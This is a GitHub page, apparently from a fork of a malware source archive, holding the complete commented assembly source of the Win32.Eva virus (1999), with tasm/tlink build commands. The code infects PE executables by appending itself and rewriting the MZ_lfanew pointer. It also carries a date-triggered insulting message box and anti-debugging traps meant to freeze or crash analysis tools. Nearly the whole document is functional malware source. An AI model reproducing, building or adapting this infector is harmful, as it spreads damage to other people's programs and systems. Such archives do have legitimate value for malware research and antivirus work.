forked from vxunderground/MalwareSourceCode
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathWin32.Eva.asm
More file actions
686 lines (598 loc) · 17.9 KB
/
Copy pathWin32.Eva.asm
File metadata and controls
686 lines (598 loc) · 17.9 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
;Win32.Eva virus.
;(c) 1999 by Benny
;
;
;Author's description
;---------------------
;
;Let me introduce my first COMPLETE Win32 infector. Yeah, i have written several parts
;of viruses, but this babe is my tiniest one with all needed functions to spread out.
;Win32.Eva is simple appender, infects one EXE file by changing pointer at 3ch
;in the MZ header, which points to new exe. After infection, MZ_lfanew pointer will be
;pointing to the viruses new PE header. So, if u will execute infected program under Win9X,
;WinNT or under Win3.1x with Win32s subsystem, program will start at the new location.
;After virus will be done with his work executes program again with changed
;MZ_lfanew pointer, that will be pointing to the original PE header.
;
;
;Payload
;--------
;
;On February the 2nd will display message box with some stupid comments.
;
;
;To build
;---------
;
;tasm32 -ml -m5 -q eva.asm
;tlink32 -Tpe -c -x -aa -r eva,,, import32
;pewrsec eva.exe (thanx Jacky !)
;
;
;AVP's description
;------------------
;
;This is a direct action (nonmemory resident) parasitic Win32 infector. It
;searches for PE EXE files in the Windows, Windows system [* Benny's note: it
;DOESN'T infect files in Windows/System directory!] and current directories,
;then writes itself to the end of the file. While infecting the virus does not
;modify the PE header at all, the infection way is based only on DOS Stub
;header: the virus writes to there new file offset of PE header (virus PE
;header). As a result the infected file has three parts: first part is original
;DOS stub, the second part is host PE data (not modified), third part is virus
;code and data.
;
;The virus has PE file structure: it contains PE header, section headers, import
;table, code and data sections. The modified DOS stub in infected files points
;to virus PE header instead of original ones. As a result, Windows32 while
;executing infected files reads and runs virus code instead of host one.
;
;To return to the host program the virus creates a copy of the infected file,
;disinfects it (just restores file offset of PE header) and spawns.
;
;On February 2nd the virus displays the message window:
;
; Win32.Eva by Benny, (c) 1999
; Hello stupid user, i'm so sorry, but i have to interrupt your work,
; 'cause I hate this shitty program. Click OK to continue.
;
; Greets to:
; Super/29A
; Darkman/29A
; Jacky Qwerty/29A
; Billy Belcebu/DDT
; and many other 29Aers...
;
;
;Some greets
;------------
;
;All 29Aers.... And thats only the beginnin' :-)
;Super/29A..... However, blue screen is still the best Sexy's effect :-)
;
;
;Who is Eva ?
;-------------------------
;
;Eva is one pretty girl with nice black/red hair and lovely eyes.
;I hope, that this work (fully programmed and commented by three days - good
;motivation :-)) will say some words to Eva better than I X-DD. I hate myself.
;
;
;Last notes
;-----------
;
;This virus has many bugs (after many repairs without tests) and in this time, I don't care
;about it. Don't bitch if, that it doesn't work and look at my last viruses... Hey, it's my first
;virus, so gimme space for living X-D.
;
;
;And here is it...
.386p ;386 instructions
.model flat ;32bit offset, no segments
include PE.inc ;include some needed files
include MZ.inc
include Useful.inc
include win32api.inc
extrn FindFirstFileA:PROC ;and import needed APIs
extrn SetFileAttributesA:PROC
extrn CreateFileA:PROC
extrn CreateFileMappingA:PROC
extrn MapViewOfFile:PROC
extrn UnmapViewOfFile:PROC
extrn CloseHandle:PROC
extrn FindClose:PROC
extrn FindNextFileA:PROC
extrn CopyFileA:PROC
extrn GetCommandLineA:PROC
extrn CreateProcessA:PROC
extrn GetModuleFileNameA:PROC
extrn WaitForSingleObject:PROC
extrn DeleteFileA:PROC
extrn GetCurrentDirectoryA:PROC
extrn GetWindowsDirectoryA:PROC
extrn GetSystemDirectoryA:PROC
extrn GetVersion:PROC
extrn GetSystemTime:PROC
extrn MessageBoxA:PROC
extrn GetLastError:PROC
extrn GetModuleHandleA:PROC
extrn GetProcAddress:PROC
extrn SetFilePointer:PROC
extrn SetEndOfFile:PROC
.data ;data section
msgTitle db 'Win32.Eva by Benny, (c) 1999', 0
msgText db 'Hello stupid user, i''m so sorry, but i have to interrupt your work,', 0dh
db '''cause I hate this shitty program. Click OK to continue.', 0dh, 0dh
db 'Greets to:', 0dh
db 9, 'Super/29A', 0dh
db 9, 'Darkman/29A', 0dh
db 9, 'Jacky Qwerty/29A', 0dh
db 9, 'Billy Belcebu/DDT', 0dh, 0dh
db 9, 'and many other 29Aers...', 0dh, 0dh, 0
kernel db 'KERNEL32', 0
IsDebuggerPresent db 'IsDebuggerPresent', 0
fmask db '*.EXE',0 ;search mask
DestFile db 'aaaaeva.exe', 0 ;temporary file
org $ - 1
space db ? ;space between name and params
CmdLine db 256 - 12 dup (?) ;command line
win32_find_data WIN32_FIND_DATA ?
search_handle dd ?
hFile dd ?
hMyFile dd ?
hMapFile dd ?
hMyMapFile dd ?
lpFile dd ?
lpMyFile dd ?
lppiProcInfo: ;needed by CreateProcessA
hProcess dd ?
hThread dd ?
dwProcessID dd ?
dwThreadID dd ?
lpFileName db 256 dup (?)
lpsiStartInfo db 64 dup (?)
lpWindowsPath db 256 dup (?)
lpCurrentPath db 256 dup (?)
org lpCurrentPath
lpSystemTime db 16 dup (?) ;these variables may overlap
ends
.code ;code of virus starts here
Start:
pushad
pushad
@SEH_SetupFrame ;setup SEH frame
inc dword ptr [edx] ;bye TD32 !
db 2dh ;some prefix
seh_rs:
push 256
push offset lpFileName
push 0
call GetModuleFileNameA ;get file-name of me
test_dir: ;i wont infect files in Windows
;dir, 'cause NT could crash
;on start
mov esi, offset lpCurrentPath
push esi
push esi
push 256
call GetCurrentDirectoryA ;get current directory
pop ebx
push 256
mov edi, offset lpWindowsPath
push edi
call GetWindowsDirectoryA ;getwindows directory
N_Char: cmpsb ;compare
jpatch: jne NoMatch ;no match, jump
jne FindFile ;second jump for next test
cmp byte ptr [esi - 1], 0 ;end of string ?
jne N_Char ;no, get next char
jmp quit_to_host ;yeah, we're in Windows dir.,
;jump to host
db 68h ;some prefix
NoMatch:push 256
mov edi, offset lpWindowsPath
push edi
call GetSystemDirectoryA ;get windows system dir.
mov word ptr [jpatch], 9090h ;path first jump with NOPs,
;second will take effect
mov esi, ebx
jmp N_Char ;and test directory
db 8bh ;some prefix
FindFile:
push offset win32_find_data
push offset fmask
call FindFirstFileA ;find first file
test eax, eax
je exit_search ;no files, quit
mov search_handle, eax ;save search handle
try_infect:
cmp win32_find_data.WFD_nFileSizeHigh, 0 ;discard huge files
jne Try_Next
mov eax, [win32_find_data.WFD_nFileSizeLow]
cmp eax, 4096*4 ;discard small files
jb Try_Next
cmp eax, (64*64*512)+1 ;discard huge files
jb @1
Try_Next:
push offset win32_find_data
push [search_handle]
call FindNextFileA ;try next file
xchg eax, ecx
jecxz exit_search ;no files, quit
jmp try_infect ;try infect it
db 67h ;some prefix
@1: mov edx, offset win32_find_data.WFD_szFileName
push edx
push 0
push edx
call SetFileAttributesA ;black file attributes
pop edx
xchg eax, ecx
jecxz Try_Next ;can't set attributes, try next
call OpenFile ;open and map file
jecxz Try_Next ;cant map file, try next
call InfectFile ;infect file
cmp eax, 'EVA' ;infection OK ?
je exit_search ;no, try next
push [lpFile]
call UnmapViewOfFile ;unmap view of file
push [hMapFile]
call CloseHandle ;close file mapping object
;error, we MUST TRUNCATE FILE BACK !
push 0
push 0
push [win32_find_data.WFD_nFileSizeLow]
push [hFile]
call SetFilePointer ;set file pointer to original size
push [hFile]
call SetEndOfFile ;and truncate file
call end_OpenFile3 ;close file
jmp Try_Next ;try next file
exit_search:
call CloseFile ;close and unmap file
call MyClose ;close and unmap my file
push [win32_find_data.WFD_dwFileAttributes]
push offset win32_find_data.WFD_szFileName
call SetFileAttributesA ;set back file attributes
push [search_handle]
call FindClose ;close search handle
quit_to_host:
push offset lpSystemTime ;test for activate payload
call GetSystemTime ;get system time
push 2
pop ecx ;ecx = 2
cmp word ptr [lpSystemTime+2], cx ;is February ?
jne no_payload
cmp word ptr [lpSystemTime+6], cx ;is 2nd of February
jne no_payload
cmp word ptr [lpSystemTime+12], cx ;2 seconds ?
jne no_payload
push 1000h ;system modal window
push offset msgTitle ;title
push offset msgText ;test
push 0 ;owner - NULL
call MessageBoxA ;display bessage box
no_payload:
push 0 ;overwrite file, if exist already
push offset DestFile ;destination file
cpyf: push offset lpFileName ;source file
call CopyFileA ;copy file
test eax, eax ;error ? (disk full, for example)
jne getcommandline
call GetLastError ;get las error
cmp eax, 32 ;another process is using this file
jne exit ;unknown error, exit
push 0 ;everwrite file
mov edx, offset DestFile ;dest. file
inc dword ptr [edx] ;try generate another file
push edx
jmp cpyf ;and try to copy file again
db 8bh ;some prefix
getcommandline: ;now we will skip our filename
call GetCommandLineA ;get command line
mov esi, eax ;set source
cat: lodsb ;get char
cmp al, 0 ;no params ?
je run_prg
cmp al, '"' ;long files r written with ""s
je long_name
cmp al, 20h ;is it space ?
jne cat
cat1: mov edi, offset CmdLine ;destination
lodsb ;movsb with char in al
stosb
cmp al, 0 ;end of params ?
je run_prg
cat0: lodsb ;same as previous
stosb
cmp al, 0
jne cat0
run_prg:
mov edx, offset DestFile ;edx as file to param
mov win32_find_data.WFD_nFileSizeLow, 2048 ;save num. of bytes to map
call OpenFile ;open and map our file
jecxz end_host ;if error, quit
mov eax, [ecx.MZ_lfanew - 4] ;load oroginal MZ_lfanew
mov [ecx.MZ_lfanew], eax ;and save it to that original pos.
call CloseFile ;close and unmap file
mov [space], 20h ;add params
xor eax, eax
push offset lppiProcInfo ;procinfo
push offset lpsiStartInfo ;start info
mov [lpsiStartInfo], SIZE lpsiStartInfo ;size of start info
push eax ;directory
push eax ;enviroment
push eax ;create options
push eax ;inherit handles ?
push eax ;thread SA
push eax ;process SA
push offset DestFile ;command line
push eax ;app name
call CreateProcessA ;create process !
xchg eax, ecx
jecxz end_host ;if error, quit
push -1 ;infinite
push [hProcess] ;child process
call WaitForSingleObject ;wait for signaled state
push [hThread]
call CloseHandle ;close thread primary thread handle
push [hProcess]
call CloseHandle ;close process handle
end_host:
mov edi, offset DestFile
push edi ;file to delete
mov byte ptr [edi+space-DestFile], 0 ;add NULL between file and params
call DeleteFileA ;delete it !
exit: popad ;restore all registers
ret ;otherwise this quit metod will not work !
db 75h ;some prefix
long_name:
lodsb ;load char
cmp al, '"'
jne long_name ;wait for next "
jmp cat1
db 73h ;some prefix
InfectFile proc
mov ebx, ecx ;save address of MM-file
cmp word ptr [ecx], IMAGE_DOS_SIGNATURE ;must be MZ
jne end_InfectFile
cmp dword ptr [ecx.MZ_lfanew-4], 0 ;mustn't be infected already
jne end_InfectFile
mov edx, [ecx.MZ_lfanew]
add ecx, edx
cmp dword ptr [ecx], IMAGE_NT_SIGNATURE ;must be PE\0\0
jne end_InfectFile
cmp word ptr [ecx.NT_FileHeader.FH_Machine], IMAGE_FILE_MACHINE_I386 ;must be 386+
jne end_InfectFile
movzx eax, word ptr [ecx.NT_FileHeader.FH_Characteristics]
not al
test eax, IMAGE_FILE_EXECUTABLE_IMAGE or IMAGE_FILE_DLL
jne end_InfectFile ;must be executable, mustn't be DLL
;at this point:
; EBX - start of MM-file
; ECX - PE header of MM-file
mov ebp, ebx
mov edi, ecx
sub edi, ebx
mov [ebx.MZ_lfanew-4], edi ;save original MZ_lfanew
mov eax, win32_find_data.WFD_nFileSizeLow
mov [ebx.MZ_lfanew], eax
mov edi, ebx
add edi, eax
mov edx, [ebx.MZ_lfanew]
add edx, ebx
push edx ;push it, will be needed l8r
call MyOpen ;open and map me
pop edx
jecxz end_InfectFile ;can't open, quit
push edx
mov esi, [ecx.MZ_lfanew]
add esi, ecx
push ecx
mov ecx, (503) / 4 ;PE header size + section header size
cld
rep movsd ;copy PE header + all section headers
pop esi
pop edx
;at this point:
; EDX - start of our new PE header
; EBP - start of MM-file (MZ header)
; ESI - start of MM prg+virus (MZ header)
; EDI - pointer to memory, where will be copied virus sections
push ebp
;from ...
mov ecx, [esi.MZ_lfanew]
add ecx, esi
movzx ebx, word ptr [ecx.NT_FileHeader.FH_SizeOfOptionalHeader] ;size of optional header
;to ...
mov ebp, edx
movzx edx, word ptr [edx.NT_FileHeader.FH_SizeOfOptionalHeader] ; ...
mov eax, 4 ;number of sections
copy_sections:
pushad
pushad
call Align ;align position
mov [esp.Pushad_edi], edi
popad
;from ...
lea ebx, [ecx.NT_OptionalHeader + ebx]
add esi, [ebx.SH_PointerToRawData] ;address of section data
mov ecx, [ebx.SH_SizeOfRawData] ;size of section data
;to ...
lea edx, [ebp.NT_OptionalHeader + edx]
mov ebx, edi
sub ebx, [esp.cPushad.RetAddr]
mov [edx.SH_PointerToRawData], ebx ;save pointer
rep movsb
mov [esp.Pushad_edi], edi
popad
sub ebx, -IMAGE_SIZEOF_SECTION_HEADER ;next section
sub edx, -IMAGE_SIZEOF_SECTION_HEADER ;next section
dec eax
jne copy_sections
pop ebp
mov eax, 'EVA' ;success, toggle flag
end_InfectFile:
ret
InfectFile EndP
db 72h ;some prefix
Align Proc
mov eax, edi
mov ebx, 200h ;our align
AlignIt:xor edx, edx ;nulify idiv remaider
push eax
idiv ebx ;divide it !
pop eax
test edx, edx ;mod = 0 ?
je end_align ;yeah, align complete
inc eax ;no, increment address
jmp AlignIt ;and jump back
end_align:
mov edi, eax ;edi = new aligned address
ret
Align EndP
db 75h ;some prefix
MyOpen proc
cdq ;edx = 0
push edx ;hTemlate
push edx ;normal attributes
push OPEN_EXISTING ;creation options
push edx ;SA
push FILE_SHARE_READ or FILE_SHARE_WRITE ;share mode
push GENERIC_READ ;desired access
push offset lpFileName ;lpFileName
call CreateFileA ;open it !
inc eax ;eax = -1 ?
je end_MyOpen3
dec eax
mov hMyFile, eax ;save handle
mov esi, eax
cdq ;edx = 0
push edx ;lpszMapName
push edx ;max. size low
push edx ;max. size high
push PAGE_READONLY ;fdwProtect
push edx ;SA
push esi ;hFile
call CreateFileMappingA ;create mapping !
xchg eax, ecx
jecxz end_MyOpen2 ;eax = 0 ?
mov hMyMapFile, ecx ;save handle
xor eax, eax ;eax = 0
push eax ;bytes to map
push eax ;offset low
push eax ;offset high
push FILE_MAP_READ ;dwDesiredAccess
push ecx ;hMapObj
call MapViewOfFile ;map it !
mov lpMyFile, eax ;save handle
xchg eax, ecx ;ret. value in ecx
ret
db 76h ;some prefix
MyClose:
push [lpMyFile]
call UnmapViewOfFile ;close mapped file
end_MyOpen2:
push [hMyMapFile]
call CloseHandle ;close mapping
end_MyOpen3:
push [hMyFile]
call CloseHandle ;close file
xor ecx, ecx
ret
MyOpen EndP
db 75h ;some prefix
;same as previous
OpenFile proc
xor eax, eax
push eax
push eax
push OPEN_EXISTING
push eax
mov al, 1
push eax
ror eax, 1
rcr eax, 1
push eax
push edx
call CreateFileA
cdq
inc eax
je end_OpenFile3
dec eax
mov hFile, eax
push edx
mov esi, win32_find_data.WFD_nFileSizeLow
sub esi, -4096
push esi
push edx
push PAGE_READWRITE
push 0
push eax
call CreateFileMappingA
cdq
xchg eax, ecx
jecxz end_OpenFile2
mov hMapFile, ecx
push esi
push edx
push edx
push FILE_MAP_WRITE
push ecx
call MapViewOfFile
mov lpFile, eax
xchg eax, ecx
ret
db 76h ;some prefix
CloseFile:
push [lpFile]
call UnmapViewOfFile
end_OpenFile2:
push [hMapFile]
call CloseHandle
end_OpenFile3:
push [hFile]
call CloseHandle
xor ecx, ecx
ret
OpenFile EndP
db 77h ;some prefix
seh_fn:
@SEH_RemoveFrame ;remove SEH frame
popad ;restore regs
call GetVersion ;get windows version
cmp eax, 80000000h ;is it WinNT ?
jb NT_debug_trap ;yeah, freeze this app
cmp ax, 0a04h ;or Win98
jb no_debug_trap ;Win95-
debug_trap: ;Win95/98
call IsDebugger
mov eax, 909119cdh ;set some instructions
jmp $ - 4 ;say bye to your balls :-)
db 2dh ;some prefix
no_debug_trap:
jmp seh_rs ;jump back
db 2dh ;some prefix
NT_debug_trap:
call IsDebugger
xor esp, esp ;this will freeze our app
push ecx ;if not, this will cause
;access violation exception
IsDebugger:
pop ebx
push offset kernel
call GetModuleHandleA ;get memory address of kernel32
xchg eax, ecx
jecxz no_debug_trap ;error, jump
push offset IsDebuggerPresent
push ecx
call GetProcAddress ;get procedure address of our API
xchg eax, ecx
jecxz no_debug_trap
call ecx ;call IsDebuggerPresent
xchg eax, ecx
jecxz no_debug_trap
jmp ebx
ends
End Start